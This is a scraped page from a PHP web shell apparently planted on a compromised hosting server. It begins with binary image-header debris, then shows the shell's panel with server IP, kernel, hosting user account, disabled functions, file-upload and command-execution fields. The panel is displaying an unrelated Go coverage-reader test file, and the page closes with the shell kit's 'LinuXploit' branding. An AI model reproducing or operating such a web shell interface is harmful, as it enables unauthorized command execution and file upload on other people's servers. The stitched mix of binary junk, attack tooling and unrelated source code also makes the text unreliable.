JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.168  /  Your IP : 216.73.216.216
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/opt/golang/1.22.0/src/cmd/internal/cov/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/opt/golang/1.22.0/src/cmd/internal/cov/read_test.go
// Copyright 2022 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package cov_test

import (
	"cmd/internal/cov"
	"fmt"
	"internal/coverage"
	"internal/coverage/decodecounter"
	"internal/coverage/decodemeta"
	"internal/coverage/pods"
	"internal/goexperiment"
	"internal/testenv"
	"os"
	"path/filepath"
	"testing"
)

// visitor implements the CovDataVisitor interface in a very stripped
// down way, just keeps track of interesting events.
type visitor struct {
	metaFileCount    int
	counterFileCount int
	funcCounterData  int
	metaFuncCount    int
}

func (v *visitor) BeginPod(p pods.Pod) {}
func (v *visitor) EndPod(p pods.Pod)   {}
func (v *visitor) VisitMetaDataFile(mdf string, mfr *decodemeta.CoverageMetaFileReader) {
	v.metaFileCount++
}
func (v *visitor) BeginCounterDataFile(cdf string, cdr *decodecounter.CounterDataReader, dirIdx int) {
	v.counterFileCount++
}
func (v *visitor) EndCounterDataFile(cdf string, cdr *decodecounter.CounterDataReader, dirIdx int) {}
func (v *visitor) VisitFuncCounterData(payload decodecounter.FuncPayload)                          { v.funcCounterData++ }
func (v *visitor) EndCounters()                                                                    {}
func (v *visitor) BeginPackage(pd *decodemeta.CoverageMetaDataDecoder, pkgIdx uint32)              {}
func (v *visitor) EndPackage(pd *decodemeta.CoverageMetaDataDecoder, pkgIdx uint32)                {}
func (v *visitor) VisitFunc(pkgIdx uint32, fnIdx uint32, fd *coverage.FuncDesc)                    { v.metaFuncCount++ }
func (v *visitor) Finish()                                                                         {}

func TestIssue58411(t *testing.T) {
	testenv.MustHaveGoBuild(t)
	if !goexperiment.CoverageRedesign {
		t.Skipf("skipping since this test requires 'go build -cover'")
	}

	// Build a tiny test program with -cover. Smallness is important;
	// it is one of the factors that triggers issue 58411.
	d := t.TempDir()
	exepath := filepath.Join(d, "small.exe")
	path := filepath.Join("testdata", "small.go")
	cmd := testenv.Command(t, testenv.GoToolPath(t), "build",
		"-o", exepath, "-cover", path)
	b, err := cmd.CombinedOutput()
	if len(b) != 0 {
		t.Logf("## build output:\n%s", b)
	}
	if err != nil {
		t.Fatalf("build error: %v", err)
	}

	// Run to produce coverage data. Note the large argument; we need a large
	// argument (more than 4k) to trigger the bug, but the overall file
	// has to remain small (since large files will be read with mmap).
	covdir := filepath.Join(d, "covdata")
	if err = os.Mkdir(covdir, 0777); err != nil {
		t.Fatalf("creating covdir: %v", err)
	}
	large := fmt.Sprintf("%07999d", 0)
	cmd = testenv.Command(t, exepath, "1", "2", "3", large)
	cmd.Dir = covdir
	cmd.Env = append(os.Environ(), "GOCOVERDIR="+covdir)
	b, err = cmd.CombinedOutput()
	if err != nil {
		t.Logf("## run output:\n%s", b)
		t.Fatalf("build error: %v", err)
	}

	vis := &visitor{}

	// Read resulting coverage data. Without the fix, this would
	// yield a "short read" error.
	const verbosityLevel = 0
	const flags = 0
	cdr := cov.MakeCovDataReader(vis, []string{covdir}, verbosityLevel, flags, nil)
	err = cdr.Visit()
	if err != nil {
		t.Fatalf("visit failed: %v", err)
	}

	// make sure we saw a few things just for grins
	const want = "{metaFileCount:1 counterFileCount:1 funcCounterData:1 metaFuncCount:1}"
	got := fmt.Sprintf("%+v", *vis)
	if want != got {
		t.Errorf("visitor contents: want %v got %v\n", want, got)
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit